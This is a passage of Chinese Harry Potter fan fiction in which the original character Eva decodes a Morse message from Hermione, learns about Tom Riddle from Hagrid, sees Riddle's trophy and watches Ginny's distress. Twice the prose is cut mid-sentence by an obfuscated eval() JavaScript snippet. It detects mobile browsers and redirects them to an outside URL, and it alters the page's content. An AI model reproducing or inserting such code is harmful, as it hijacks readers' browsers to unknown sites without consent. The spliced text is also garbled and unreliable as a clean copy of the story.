Eva端起牛奶,温热透过瓷杯传来。她不动声色地检查杯子和托盘。在杯碟下方,垫着一张医疗翼常用的、印有稀疏水印的吸水垫纸。垫纸看起来被牛奶杯底浸湿了一小块,但在边缘,有极淡的、用不同力度划出的细微痕迹,不仔细看就像纸张本身的纹理。 Eva将垫纸拿到灯下,调整角度。是点状和划痕的组合,非常隐蔽。她认出来,这是她和赫敏曾经讨论过的另一种更简单的密码:摩尔斯电码的变体(赫敏对麻瓜知识感兴趣)。她仔细辨认: . -.. .- .. .-. -.-- .. ... -.- . -.-- - --- .--. .. .--. . ... .- -. -.. -... --- --- -.- .-.-.- .-- .- - -.-. .... --. .. -. -. -.-- .-.-.- ... . . -.- .... . .-.. .--. ..-. .-. --- -- .- -. -.-- --- -. . .-.-.- -... . -.-. .- .-. . ..-. ..- .-.. .-.-.- 她快速在心中解码: DAIRY IS KEY TO PIPES AND BOOK. WATCH GINNY. SEEK HELP FROM ANYONE. BE CAREFUL. (“奶制品是关键,通向管道和书本。监视金妮。向任何人寻求帮助。小心。”) 信息量巨大且模糊,但Eva瞬间明白了! 1. “奶制品是关键,通向管道和书本”:赫敏可能在暗示,家养小精灵多比(与厨房、奶制品相关)可以成为在城堡管道系统(?)或传递书本/信息的关键渠道!多比似乎有自由行动的能力,且对哈利抱有善意(?也许赫敏察觉了什么)。这解释了回信方式。 2. “监视金妮”:赫敏同意Eva的观察,并确认了金妮和日记是重点。 3. “向任何人寻求帮助”:赫敏可能暗示,可以尝试接触其他可能提供帮助的人,比如海格(了解怪物)、差点没头的尼克(幽灵,知道城堡秘密)?或者仅仅是鼓励Eva不要独自承担。 4. “小心”:不言而喻。 赫敏在如此受限的环境下,不仅收到了信息,还用如此隐蔽、聪明的方式做出了回应,并指出了潜在的盟友和行动方向! Eva感到一阵振奋,同时也压力倍增。赫敏将“监视金妮”和“寻求帮助”的任务交给了她,而赫敏自己似乎在策划从“奶制品”(多比)和“书本”(或许指从医疗翼查阅有限资料)角度进行调查。 她们之间,已经建立起一条脆弱但有效的秘密联络线。而下一步,Eva需要开始行动:更密切地观察金妮,并慎重考虑可以向谁寻求关于密室和蛇怪的帮助。 47. 凝雾与暗访 圣诞节后的第三天,雪停了。 天空依旧灰蒙,云层缝隙间漏下稀薄的天光。Eva站在拉文克劳塔楼的窗前,望着外面被新雪覆盖得一片纯白的世界,庭院里几个留校高年级学生堆雪人的笑闹声传来,闷闷的,像是隔着一层厚厚的棉絮。 表面的宁静之下,一种细微却持续不断的“拉扯感”,正如同冰层下的暗流,在她心神的边缘悄然涌动。 它不像最初触碰日记时那股滑腻的凉意那般尖锐,更像一种顽固的背景噪音——当她试图集中精神阅读《高级变形术指南》时,思绪会毫无征兆地飘向衣柜底层那个冰冷的铁盒;深夜闭上眼,黑暗中仿佛有极淡的、暗红色泽的光斑在视觉边缘游移不定。她知道日记被铁盒、棉衬和咒语层层封存,但某种无形的东西,似乎能穿透这些物理隔绝,在她专注力的堤坝上,耐心地寻找着最细微的裂纹。 爷爷说:“心若有隙,湿气自渗。” 她的“隙”,或许就是对金妮日渐憔悴的焦虑,对城堡中潜伏之物的高度警觉,还有那份沉甸甸的、“必须做点什么却又不知从何下手”的责任感。日记的“念”并未凭空创造新的情绪,它只是悄然渗入这些已有的缝隙,将它们无声地放大,再染上自身那种冰冷的、带有诱惑与不安的色调。 最让她警醒的是前夜——并非完全无意识地梦游,而是在半睡半醒、意识模糊的临界点上,她“清晰”地感知到从衣柜方向传来一阵有节奏的、轻柔的叩击声,笃,笃,笃,如同耐心至极的指尖在叩问木板。那声音并不响亮,却带着一种难以言喻的牵引力。她骤然彻底清醒,冷汗浸湿了睡衣,声音也随之消失,只余下心脏狂跳后的空洞与后怕。她知道那极可能是幻觉,但那份被无形之物牵引的感觉,真实得令她指尖发凉。 金妮苍白消瘦的面容在她眼前闪过。如果连她——一个知晓危险、刻意保持距离、有玉佩和“炁”守护的人——都会受到如此侵扰,那么那个已经怀抱日记数月、心思单纯又正处于惶惑中的一年级女孩,此刻正陷在怎样的深渊里? 被动等待爷爷更具体的指示或赫敏的进一步消息,已经不够了。她需要更主动地获取信息。 早餐时,Eva特意选了靠近礼堂门口的位置。拉文克劳长桌这边,留校的学生不多,大家三三两两地坐着,说话声都比平时低。她没什么胃口,小口喝着燕麦粥,眼睛时不时瞟向门口,留意着金妮·韦斯莱的出现。 大概八点半,韦斯莱家那一大群红头发涌了进来。她的目光立刻锁定了队伍末尾那个小小的身影。金妮的脸色比节前更加灰败,眼下的青黑浓得化不开,走路时脚步虚浮,像一株失了水分的植物。她坐下后几乎没碰食物,只是低头盯着空盘,手指神经质地绞着陈旧的袍子角。 更让Eva心头一紧的是,金妮失神的目光会偶尔、极快地瞟向拉文克劳长桌这边——不,不是看她,是看向她附近坐着的哈利·波特。那眼神复杂得令人心碎:浓重的愧疚、深切的恐惧,还有一丝难以形容的哀求。每次视线接触不到一秒,金妮就像被烫到般猛地低下头,肩膀几不可察地瑟缩一下。 这种状态,与日记可能造成的“精气耗损”和“心神操控”完全吻合。Eva收回目光,小口啜饮着微温的南瓜汁,心里沉甸甸的。她必须做点什么,不能只当一个遥远的观察者。 早餐后,学生们陆续离开礼堂。Eva故意放慢脚步。在走廊里,她遇见了哈利和罗恩。两人正从楼上下来,急匆匆的样子。 “Eva。”哈利看见她,脚步顿了顿。他的绿眼睛下有深深的阴影,但看见她时,那眼神里还是有一丝暖意。 “早。”Eva点头,“你们去哪?” “去……转转。”哈利说,语气有点犹豫,避开了“图书馆”这个具体的词。罗恩在旁边不安地挪了挪脚,眼睛瞥向哈利手里那卷看起来很旧的羊皮纸,又飞快地扫了一眼自己鼓鼓囊囊、显然塞了不止书本的书包。 Eva看着他们。现在还是圣诞假期,去图书馆不需要级长陪同,但他们这副样子,明显不是去“转转”或自习那么简单。而且他们走的方向,既不是图书馆,也不是通常学生们会去闲逛的庭院或公共休息室。 “哦。”她没追问,“那……小心点。” 哈利抿了抿嘴唇,点点头。两人快步离开了,袍子角在拐角处一闪就不见了。 Eva站在原地,心里那根弦绷得更紧了。他们肯定在秘密地查什么东西。 接下来的几天,城堡在假期中显得空旷而安静,但那种无形的紧张感并未消散。 那些奇怪的水渍又出现了,而且似乎更多、更显眼了。虽然没有课程,但Eva每天会在佩内洛或其他级长的陪同下在城堡内有限活动(去图书馆或大厅)。一次从图书馆回来的路上,她看见三楼走廊的墙角有一大滩水,清亮亮的,在火把下反着诡异的光。费尔奇正跪在那里,用一块脏兮兮的抹布拼命擦,嘴里骂骂咧咧。 “又来了!没完没了!这墙里是通了海吗?!”他的声音在空荡的走廊里回荡。 Eva快步走过,但那股熟悉的、潮湿的土腥味还是钻进鼻子。她下意识地摸了摸腕上的玉佩——温温的,没有预警。不是黑暗力量,但绝不仅仅是漏水。 假期里的日子缓慢而压抑。Eva大部分时间待在公共休息室或图书馆,继续研究她的笔记以及五十年前事件的线索,但收获寥寥。霍格沃茨的图书馆虽大,关于学校自身敏感历史的记录却似乎被有意隐藏或清理过。 五十年前,死过一个学生,一定有所轰动。 与此同时,她更密切地观察着金妮。女孩的状况似乎越来越糟,沉默、恍惚,偶尔看向哈利时那充满痛苦的眼神,让Eva心中的不安与日俱增。 那天晚上在公共休息室,Eva写完魔法史论文后,又拿出了爷爷的信,反复咀嚼着“雾里行路,慢即是快”这句话。她就在雾里,线索纷乱,方向不明。 就在这时,公共休息室的门被猛地推开,一个低年级拉文克劳女生跑进来,脸色惨白,声音颤抖: “不好了!又出事了!差点没头的尼克!还有另一个赫奇帕奇学生!被石化了!” 休息室里瞬间炸开了锅。即使是在假期,袭击仍在继续,而且这次连幽灵都未能幸免! Eva的心猛地一沉,跟着人群涌出塔楼。事发地点在二楼的一条偏僻走廊。场面混乱,教授们正在驱散学生。她挤到前面,看到了墙上的字,看到了尼克灰白僵硬的幽灵身躯,以及厄尼·麦克米兰新增的石像。 幽灵也能被石化。这个事实让恐惧达到了新的顶点。 回到拉文克劳塔楼,压抑的气氛几乎让人窒息。 接下来的两天,Eva既要警惕日记本的扰动,又要试图在有限的活动中观察金妮和城堡异状,收效甚微。 Eva持续的沉默和偶尔的怔忡,被细心的曼蒂看在了眼里。 “Eva,”早饭后,曼蒂凑过来,压低声音,棕色眼睛里满是关切,“你最近总是心神不宁的,脸色也不好。老闷在塔楼里胡思乱想,只会自己吓自己。” 她顿了顿,忽然眼睛一亮,“对了!我昨天听佩内洛和斯普劳特教授说话,第三温室那批曼德拉草幼苗需要额外照料,正在找留校的细心学生帮忙,还能加学院分呢!帕德玛对曼德拉草过敏去不了,但我们俩可以去呀!做点实实在在的事情,给那些小家伙量量尺寸、记记数据,总比在这儿干坐着强,你说呢?” Eva心中一动。这提议合情合理,且正中下怀——她正需要一个能在级长陪同下、合理离开塔楼并在城堡内部分区域活动的机会。温室靠近城堡边缘,或许能观察到更多,也能暂时远离公共休息室里日益凝重的低气压和……衣柜方向那若有若无的牵引感。 “好主意,曼蒂。” 她点点头,努力让语气听起来轻松些,“谢谢。我们去问问佩内洛。” 在获得佩内洛·克里瓦特的批准并安排好陪同时间后,次日下午,Eva和曼蒂在女级长的陪伴下前往第三温室。 第三温室,温暖潮湿的空气和泥土植物的气息暂时驱散了走廊里的寒意与不安。斯普劳特教授热情地欢迎了她们,安排她们帮忙做一些简单的照料工作,主要是给一批曼德拉草幼苗检查土壤湿度。 工作安静地进行着。大约半小时后,温室的门被推开,海格巨大的身影带着一股冷风和忧心忡忡的气息挤了进来。 “波莫娜!”他声音沙哑,眼睛通红,“我需要你的帮助……是阿拉戈克,它病得厉害……” 接下来的对话,Eva和佩内洛(戴着厚重的耳罩,但并非完全听不见)隐约听到了“曼德拉草汁”、“石化恢复剂”、“五十年前”、“担心”等只言片语。她们明智地保持着专注工作的姿态,但Eva的心跳加快了。 “五十年前”,Eva心头一跳,会不会和桃金娘之死有什么关系。 海格离开后,又过了一阵,佩内洛提醒时间到了。她们向斯普劳特教授道别。 回塔楼的路上,佩内洛感慨:“海格对他的……嗯……宠物,感情真深。” “嗯。”Eva轻声应道,脑子里飞速运转。海格提到了曼德拉草汁,石化恢复剂,提到了五十年前,他的担忧显然不仅是为了阿拉戈克。他可能是知情者,而且,他看起来孤立无援,需要帮助——或许,他也是一个潜在的盟友。 一个计划在Eva心中成形。海格是猎场看守,常在外围活动,相对容易在不引人注目的情况下接触。 那天晚上,Eva写好了一封简短的信。 第二天,机会来了。午饭后,佩内洛需要去协助弗立维教授处理一些留校学生的作业登记(一个合理的临时任务)。在返回公共休息室的路上,Eva看到佩内洛被一个焦急的低年级学生叫住,似乎是关于宿舍取暖咒出了问题。佩内洛快速对Eva说:“Eva,你先沿着这条路直接回塔楼,别拐去别的地方,我处理完就赶上你。记住,别单独行动太久!” “好的,佩内洛。”Eva点头答应。 看着佩内洛匆匆离去的背影,Eva知道这是短暂的机会窗口。她迅速改变方向,朝着城堡一扇较偏僻的侧门跑去。冷风灌进走廊,她拉紧了斗篷。 她知道海格下午通常会在小屋附近或温室一带巡查。她在温室后方那条积雪未化、泥泞偏僻的小路上等了没多久,心脏因为紧张和寒冷而快速跳动。终于,海格高大的身影出现在视野里,肩上扛着一捆似乎是饲料的东西。 她快步上前,拦住他,将折好的信递过去,低声道:“海格先生,请看看这个。关于阿拉戈克,也许我能帮忙。” 海格惊讶地停下,粗大的手指有些笨拙地展开信纸。读完那几行字(关心阿拉戈克的病情,提议或许有其他方法帮忙,恳请单独一谈),他抬起头,脸上混合着警惕和一丝微弱的希望。“张小姐?你怎么知道阿拉戈克病了?帮忙?谢谢你的好意,孩子,但这是……嗯……比较特殊的情况,我自己能处理。现在外面不安全,你该赶紧回城堡去。” Eva没有退缩,反而上前一步,压低声音,直接切入核心:“海格先生,我找您不只是为了阿拉戈克。我……我在查一些关于密室和袭击的事。” “什么?!”海格像是被蜇了一下,猛地后退半步,巨大的身躯绷紧了,脸上血色褪去,“密——不!孩子,你不该提这个!你不该知道!这太危险了!”他慌乱地四下张望,压低的声音里充满了惊恐,“谁告诉你的?是哈利吗?还是罗恩?我得去跟他们说——” “不是他们。是我自己发现的。”看到海格瞬间绷紧的身体和陡然警惕的眼神,她继续说道,“一些迹象,城堡里奇怪的水渍,蜘蛛都在逃走,被石化的受害者……”她没有具体地提及,观察着海格的反应。 “还有,我听说了一些关于五十年前的传闻……”她抛出了个钩子,当年桃金娘死了,这事不可能毫无影响。 果然,海格整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980663|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人僵住了。他瞪圆了那双黑甲虫般的眼睛,死死盯着Eva,嘴唇哆嗦着,却发不出声音。泪水迅速在他眼眶里积聚。“五十……五十年前……” 他喃喃道,声音破碎得像被踩碎的冰面,“他们……他们都说是我的错……说阿拉戈克杀了人……”巨大的悲伤和委屈淹没了他,他用手背胡乱抹了把脸,“但阿拉戈克不会!它不会杀人!它从来只吃我喂的东西!” Eva顺着海格,斟酌着词句,轻声说,“我相信您,海格先生。” 这句话仿佛击中了海格内心最柔软也最伤痛的地方。他的嘴唇哆嗦着,声音哽咽了:“你……你真的相信?”他像是在问Eva,又像是在问自己,“这么多年,除了邓布利多教授,几乎没人……你只是个孩子……” “我相信。”Eva试探着说,“所以……当年一定另有其人打开了密室,放出了怪物。那个人……后来怎么样了?事情是怎么‘解决’的?” 她顺势问道,引导海格回忆关键部分。 “解决……”海格重复着这个词,表情痛苦而迷茫,“他们说解决了……因为抓住了‘凶手’——我的阿拉戈克。我被开除了……魔杖也被折断了。” 他巨大的手掌无意识地攥紧,仿佛还能感受到当年的剧痛和耻辱。“我本来要被送进阿兹卡班的……但有一个学生,他站出来了,帮我说了话,说我可能只是‘饲养不当’,不是故意的……”海格的语气变得复杂,混杂着感激和某种更深、更模糊的东西。 “那个学生是谁?”Eva问。 “汤姆·里德尔。”海格说出这个名字时,声音不自觉地压低了些,仿佛这个名字本身带有某种分量,“斯莱特林的级长,优秀极了,功课好,教授们喜欢,连其他学院的人也挑不出毛病……人人都说他前途无量。”他顿了顿,似乎在努力回忆更具体的细节,“就是他……发现了阿拉戈克在城堡里,报告了教授。他说是为了学校的安全。为此,他还得了一个特殊贡献奖。” “听起来他像个英雄。”Eva评论道,同时仔细观察海格的表情。 海格点了点头,但眉头却慢慢皱了起来,黑眼睛里的困惑加深了。“是啊……英雄。我一直很感激他。要不是他,我可能就在阿兹卡班烂掉了。”他用力搓了搓脸,声音变得更低,更像是在自言自语,“可是……有时候,事后越想越觉得……有些地方不太对劲。” “不对劲?”Eva追问,心脏轻轻一跳。 “阿拉戈克很听话的,”海格的声音里带着对“孩子”的维护,“除非我允许,或者有非常、非常特别的原因,它不会离开我给它划定的活动区域,更不会跑去城堡里……里德尔他一个学生,怎么能那么‘凑巧’就发现了它?在那么偏僻的地方?”他抬起头,看向Eva,眼神里充满了多年未解的迷茫,“而且……时间上也……太紧了。” “时间上?” “就在阿拉戈克被发现前,没多少天,”海格的声音压得更低,几乎成了气声,带着一丝不易察觉的恐惧,“桃金娘……就是那个死在二楼女生盥洗室的女孩,她死了。事情都挤在一起了,就像……就像有人急着要找个结局一样。” 桃金娘的死,紧接着阿拉戈克“被发现”,里德尔成为英雄。时间线串联起来了,透着一股刻意安排好的蹊跷。 “那个盥洗室……是不是一直有些问题?”Eva试探着问,想起自己感受到的湿冷和费尔奇的抱怨,“我听说那里经常漏水,很潮湿。” “对,就是那儿!”海格肯定道,脸上掠过一丝本能的畏缩,“老问题了,管道古怪,费尔奇没少为这个发火。又冷又湿,除了桃金娘,没人爱去。”他顿了顿,似乎联想到了什么,声音更轻了,“蛇……如果真有那么大的蛇……确实喜欢那种阴暗潮湿的地方。古老的城堡下面,谁知道藏着什么……” Eva知道时间紧迫,佩内洛可能随时找来。她必须结束谈话了。“海格先生,谢谢您告诉我这些。这很重要。请您答应我,别告诉任何人我们谈过话,尤其是哈利和罗恩。他们如果知道了,肯定会去冒险。” 海格立刻重重点头,脸上写满了担忧:“我懂!他俩那脾气……你也是,孩子!答应我,别自己乱来!这些事太危险了,应该让教授们处理!” “我会小心的。”Eva承诺,又补充道,“关于阿拉戈克,我会想想有没有其他温和的草药或许能缓解它的不适,我爷爷教过我一些知识。” 海格眼中闪过感激,还想说什么,但远处似乎传来了脚步声。Eva匆匆点头告别,迅速沿着来路小跑离开,心脏仍在胸腔里剧烈跳动。 当她气喘吁吁地跑回主走廊,刚好遇见处理完事情、正焦急张望的佩内洛。 “Eva!你跑到哪里去了?我不是让你直接回塔楼吗?”佩内洛责备道,但明显松了口气。 “对不起,佩内洛,”Eva适时地露出一点愧疚和慌张,“我……我好像有点迷路了,拐错了弯,越走越冷,就赶紧跑回来了。” 她拉了拉似乎被寒风刮得有些凌乱的斗篷。 佩内洛看着她冻得发红的脸颊和鼻尖,语气缓和了些:“下次一定跟紧,或者站在原地等我。快回去吧,你需要喝点热的。” “嗯。”Eva乖乖点头,跟着佩内洛走向拉文克劳塔楼。外表平静,内心却如潮水翻涌。 汤姆·里德尔——五十年前的斯莱特林级长,“英雄”,特殊贡献奖获得者。 时间线的巧合——桃金娘死亡、阿拉戈克被发现、里德尔受奖紧密相连。 盥洗室——事件发生地,常年湿冷漏水,可能与管道(蛇道?)相连。 信息仍然零碎。她需要立刻将这些新线索(尤其是“汤姆·里德尔”这个名字和“特殊贡献奖”)想办法传递给赫敏。同时,那个二楼女生盥洗室,在她心中的可疑程度急剧上升。 雾霭依旧浓重,但前方似乎隐约出现了几块可以落脚的石头。只是每一步,都必须更加谨慎。 48. 线索与等待 圣诞节假期剩下的日子,像一块冻得太硬的黄油,用勺子挖也挖不动。Eva每天在塔楼、图书馆、礼堂之间来回,脚步踩在冰冷的石板上,发出空荡荡的回响。城堡里留校的人太少了,少到连费尔奇骂人的声音都显得孤单。 那本日记本带来的“拉扯感”还在。有时候Eva坐在窗边看书,她翻开《初级变形术指南》,试图将注意力集中在“跨物种变形风险”的章节上。但书页上“依附”、“寄生”这些词却莫名地刺眼起来,像黑暗中亮起的小灯,将她的思绪不由分说地扯向衣柜底层那个冰冷的铁盒。她皱起眉,强迫自己默念静心口诀,让那股温润的“炁”缓缓流转一周,才将那股莫名的牵引压了下去。 午餐时,曼蒂说起假期后可能恢复魁地奇训练,Eva本该感到一丝轻松,心头却无端泛起一阵沉闷的烦躁,像夏夜暴雨前的低气压,毫无来由。她放下勺子,轻轻吸了口气,在桌下悄悄掐了掐自己的虎口——这是爷爷教的,疼痛能让人瞬间回神。果然,那阵烦躁如潮水般退去,只留下些许倦怠。 这些细微的、无根的情绪波动和注意力涣散,正以越来越高的频率出现。爷爷的信说得对,“心若有隙,湿气自渗”。她对金妮的担忧、对城堡异状的警觉,就是日记那冰冷“念”力悄然渗入的缝隙。 海格的话在她脑子里打转。 “汤姆·里德尔”——这个名字听着像个普通学生,优秀、受欢迎、前途无量。但海格说起他时,那种困惑和隐约的不安,像一根细刺扎在Eva心里。如果里德尔真是英雄,为什么海格事后回想会“觉得不对劲”?为什么时间线那么巧?桃金娘死了,阿拉戈克被发现,里德尔得奖……像一出排练好的戏。 她需要告诉赫敏。 上次的摩尔斯密码虽然有效,但太冒险了,家养小精灵多次出现太显眼。万一被抓住,不仅她和赫敏有麻烦,连多比也会遭殃。 而且,她需要先自己确认一些事。 假期倒数第三天早晨,天还没亮透。Eva穿戴好衣物,沿着楼梯快步下行。昨晚她几乎没睡——脑子里全是海格的话、金妮苍白的脸、还有那本日记冰凉的触感。她知道这违反规定——佩内洛反复强调过,任何留校学生不得在无级长陪同下于清晨或黄昏单独行动。费尔奇或者巡夜的教授随时可能出现。 但这是难得的机会。白天人多眼杂,而清晨,尤其是假期清晨,城堡近乎沉睡。她必须亲眼看看汤姆·里德尔的奖杯,必须抓住这个时间窗口。风险与迫切在她心中权衡,最终后者占了上风。她像一只警惕的猫,耳朵捕捉着每一丝风声,眼睛扫过每一个拐角的阴影,准备随时躲藏或编造一个合理的借口(比如“梦游走错了”)。 她要去奖杯陈列室。 走廊里很安静,只有她自己的脚步声。远处传来家养小精灵在厨房忙碌的轻微声响,还有画像们睡梦中的嘟囔。她转过拐角,奖杯陈列室的门就在眼前——厚重的橡木门,黄铜把手被无数双手摸得锃亮。 她轻轻推开门。 里面比想象中更大。高高的玻璃柜一排排延伸出去,在晨光微熹中泛着冷清的光泽。金色的、银色的、铜色的奖杯密密麻麻,上面刻着模糊的名字和年份。空气里有灰尘、旧木头和抛光剂混合的沉闷气味。 Eva放轻脚步走进去。她的目光快速扫过那些陈列柜。魁地奇奖杯区最大,从一千多年前的古老银杯到去年的崭新奖杯,按年份排列。学院杯记录在另一面墙上,四学院的沙漏标志在昏暗光线下静静悬挂。 她走到陈列室最深处——那里有一排单独的玻璃柜,标签写着“特殊荣誉与贡献”。柜子里的奖杯不多,但每一个都制作得格外精致。 她的目光停在了1942-1943学年的位置。 那里只有一个奖杯。 银质的,不算大,但雕刻精细。杯身刻着霍格沃茨的校徽,底座上有一行清晰的铭文: 特殊贡献奖 授予 汤姆·马沃罗·里德尔 斯莱特林学院 以表彰其于维护校园安全方面之杰出表现 1943 Eva盯着那行字。维护校园安全——指举报了海格和他的“怪物”。一个斯莱特林学生,因为举报另一个学院的学生,获得了特殊贡献奖。 她凑得更近些,鼻子几乎贴到冰冷的玻璃上。奖杯擦拭得很干净,在晨光中反射着微弱的银光。除此之外,什么都没有。没有照片,没有更多描述,没有关于他后来去向的记载。汤姆·里德尔就像从这个奖杯里蒸发了一样,只留下一个名字和一句干巴巴的表彰。 就在她盯着奖杯出神时,门外传来了脚步声。 很轻,很快,像小动物在跑。 Eva迅速躲到最近的一个陈列柜后面——那里堆着几面旧的魁地奇队旗,正好能遮住她。 门被轻轻推开了。 进来的是金妮·韦斯莱。 女孩背对着她,站在“特殊荣誉与贡献”的玻璃柜前,一动不动。晨光从高窗斜射进来,在她瘦小的身影上投下一道长长的影子。她盯着柜子里的某个奖杯,看了很久很久。 然后,金妮突然抬起手,用袖子擦了擦眼睛——她在哭? Eva屏住呼吸。金妮为什么一大早来奖杯陈列室?为什么看着这些奖杯哭? 更奇怪的事发生了。 金妮转过身,快步走向陈列室另一头的角落。那里有个不起眼的小木柜,上面贴着“失物招领”的标签——Eva以前从没注意过这个柜子。 金妮拉开木柜的门,开始在里面翻找。她的动作很急,手在发抖,把里面的东西——几支旧羽毛笔、几本写满名字的课本、一个破旧的窥镜、几枚掉了色的徽章——都翻得乱七八糟。 她好像在找什么特别的东西。 翻了几分钟,金妮突然停住了。她盯着柜子深处,眼睛瞪得大大的,嘴唇微微张开,像是看到了什么可怕的东西。 然后,她猛地后退一步,差点摔倒。 “不……”她喃喃道,声音小得几乎听不见,“不是……不是这里……” 她迅速把翻乱的东西塞回柜子,关上门,转身就跑——几乎是逃出了陈列室。 门在她身后关上,留下Eva一个人躲在旗子后面,心脏咚咚直跳。 金妮在找什么?那本丢失的本子吗? 可是为什么对着奖杯哭? Eva等了几分钟,确认金妮不会回来了,才从藏身处走出来。她走到那个“失物招领”柜前,犹豫了一下,拉开了柜门。 里面很乱,东西都塞得歪歪扭扭。金妮刚才翻得很急,没把东西摆好。Eva小心地检查每一样物品:羽毛笔是普通的,课本上写的是十年前学生的名字,窥镜已经不转了,徽章是赫奇帕奇和拉文克劳的级长徽章,磨损得很厉害。 没什么特别的。 但金妮的反应……那么强烈。 Eva关上柜门,心里那团迷雾更浓了。金妮,奖杯陈列室,那本本子,和五十年前的事,到底有什么关系? 她离开陈列室,在空荡荡的走廊走着。快到礼堂时,她听见了压低声音的争吵——从旁边一条小走廊传来。 是哈利和罗恩。 “……我们必须告诉教授!”罗恩的声音带着哭腔,“金妮越来越不对劲了!她昨晚又说梦话,说什么‘必须写’‘停不下来’……今天早上天没亮就出去了,我悄悄跟着,看见她进了奖杯陈列室!” “然后呢?”哈利的声音很疲惫。 “她在里面待了一会儿,然后就跑出来了,脸色白得像鬼!我问她怎么了,她瞪着我,像不认识我一样,然后推开我就跑!” “罗恩,冷静点——” “我怎么冷静!那是我妹妹!你看看她的样子!瘦得只剩一把骨头了!眼睛下面黑得像被人打过!这绝对不正常!” “我知道!我也担心!”哈利的声音提高了些,又迅速压低,“但我们现在告诉教授,说什么?说金妮可能被什么附身了?说她在查五十年前的事?我们有什么证据?而且……如果教授们觉得她有问题,把她隔离起来怎么办?送去圣芒戈做检查怎么办?” 罗恩沉默了。Eva能想象他咬着嘴唇、红着眼睛的样子。 “那……那我们怎么办?”罗恩的声音弱了下去。 “继续查,”哈利说,声音里有一种不容置疑的坚定,“我们需要更多证据。关于密室,关于怪物,关于……所有事。等赫敏出院,她肯定有主意。” “赫敏什么时候能出院?” “庞弗雷夫人说就这几天。她的……嗯……毛发问题基本解决了,就是还有点虚弱。” 脚步声响起,两人朝礼堂方向走去。Eva赶紧躲到一根柱子后面,等他们走远了才出来。 金妮的状况连她哥哥们都注意到了。而且……哈利和罗恩在秘密调查。他们手里一定有线索,但不想惊动教授。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980664|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她需要和他们谈谈。但不能直接说“我知道你们在查密室”——那会暴露她自己知道太多。得找个自然的切入点。 早餐时,Eva特意选了靠近门口的位置。她看见金妮坐在韦斯莱家中间,几乎没吃东西,只是低着头,手指神经质地绞着袍子角。哈利和罗恩坐在不远处,两人都脸色凝重,偶尔交换一个眼神。 Eva小口喝着燕麦粥,心里盘算着怎么开口。 机会在早饭后出现了。 她和曼蒂、帕德玛一起回塔楼,在二楼楼梯口遇见了哈利和罗恩——他们刚从楼上下来,急匆匆的样子。 “早。”Eva对他们点点头。 “早,Eva。”哈利说,绿眼睛下有淡淡的阴影。 “你们去哪?”曼蒂随口问。 “去……图书馆还书。”罗恩含糊地说,但Eva看见他手里根本没拿书。 “哦。”曼蒂没在意,继续和帕德玛讨论变形术作业。 Eva故意放慢脚步,落在朋友们后面。等曼蒂和帕德玛转过拐角,她快步赶上哈利和罗恩,声音里带着清晰的关切:“哈利,罗恩,等一下。” 两人停下转身。哈利看到她,绿眼睛里紧绷的神色稍微缓和了些,那不是面对外人时的警惕,更像是疲惫中看到可靠同伴时的放松。罗恩也扯出一个有点勉强的笑容:“嘿,Eva。” “我刚才在礼堂看见金妮了,”Eva开门见山,声音压得很低,确保只有他们三人能听见,“她看起来……很不好。比圣诞节前更瘦了,脸色白得吓人。” 她没有迂回,直接表达了最直观的担忧,这是朋友间该有的直率。 哈利的肩膀微微塌下一点,那是一种沉重的承认。“我们知道。”他声音干涩,“她几乎不吃东西,晚上做噩梦……我们问她,她什么也不说,或者发脾气。” 罗恩烦躁地抓了抓红头发:“爸爸妈妈写信来问,我们也不知道该怎么回!说妹妹可能中邪了?” “我们试了所有办法,”哈利看向Eva,眼神里有种寻求理解的迫切,“庞弗雷夫人说她‘只是惊吓过度,需要休息’,但根本不是那么回事。赫敏……赫敏在医疗翼,我们也找不到人商量。” 他提到赫敏时语气里的依赖和无力感很明显,这证实了Eva的猜测——他们此刻确实很需要帮助,而且信任她,才会透露这种程度的烦恼。 Eva的心沉了沉。他们的情况比她想象的更无助。她必须说点什么,但必须守住底线。 “我……”她斟酌着词句,既想提供一些实在的安慰或思路,又不能越界,“我注意到城堡里有些地方确实……不太对劲。那些水渍,蜘蛛都跑了……也许金妮是感觉到了什么,特别敏感?” 她把金妮的异常和公开的异常现象联系起来,给出一个合理的推测方向,没有提及任何具体地点或怪物,但暗示了环境的影响可能超出了“惊吓过度”。 哈利和罗恩显然听进去了。哈利的眼神亮了一瞬,像是一直模糊的担忧被点出了一个可能的方向。“敏感……对,她一直很怕蜘蛛,最近看到墙角空了的蛛网都会发抖。” “还有,”Eva继续谨慎地提供帮助,“如果……如果你们需要查一些偏门一点的资料,关于城堡历史或者……古老魔法影响的,拉文克劳的藏书区有一些不太常见的书。也许能找到点线索。” 她提供了一个具体的、安全的帮助方式——信息渠道,而不是具体信息。这既是对朋友的支援,又没有违反与赫敏的约定(她只是提供查阅途径,内容由他们自己发现)。 哈利立刻抓住了这个提议,绿眼睛里燃起一丝希望:“真的?那些书……外人能看吗?” “我可以帮忙问问平斯夫人,或者……如果需要,我找找看有没有相关的书名。”Eva承诺道。她在这里承担了一个“资料查找助手”的角色,这完全在她的能力和立场范围内。 “谢谢,Eva,”哈利的声音里充满了感激,那是一种困境中被拉了一把的真诚感谢,“真的……谢谢你。我们现在就像没头苍蝇一样。” “还有,”Eva看着哈利,语气格外认真,“你们自己也要小心。如果金妮的状态真的和城堡里的‘不对劲’有关,那接触她、调查这件事本身可能就有风险。” 